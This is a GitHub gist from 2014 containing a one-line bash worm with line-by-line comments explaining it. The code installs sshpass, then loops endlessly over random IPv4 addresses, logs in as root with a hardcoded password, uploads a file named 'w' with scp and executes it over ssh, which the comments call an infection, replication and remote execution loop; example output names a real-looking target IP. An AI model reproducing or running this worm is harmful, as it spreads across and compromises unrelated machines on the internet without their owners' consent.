-
-
Save ulissescastro/befe8cddaf2aa2cb2187 to your computer and use it in GitHub Desktop.
Revisions
-
ulissescastro created this gist
Nov 18, 2014 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,35 @@ x=RANDOM%256; s=sshpass; c="$s -pPASS"; yum install $s -y; while :; do t=root@$[x].$[x].$[x].$[x]; $c scp w $t:; $c ssh $t "chmod +x w; ./w"; done # random var # x=RANDOM%256 # echo $[x] # 117 # sshpassh executable # s=sshpass # command sshpass + param + password # c="$s -pPASS"; # sshpass -pPASS # sshpass root install without ask # yum install $s -y; # yum install sshpass -y; # black magic! # while infection, replication and remote execution loop for each infected host # while :; do <commands> done # root@<random ip> # t=root@$[x].$[x].$[x].$[x]; # $ echo $t # root@94.185.179.34 # copy "w" to user's home (root) # $c scp w $t:; $c ssh $t "chmod +x w; ./w"; # sshpass -pPASS scp w root@94.185.179.34:; # upload and execute, start it over # $c ssh $t "chmod +x w; ./w"; # sshpass -pPASS root@94.185.179.34 "chmod +x w; ./w";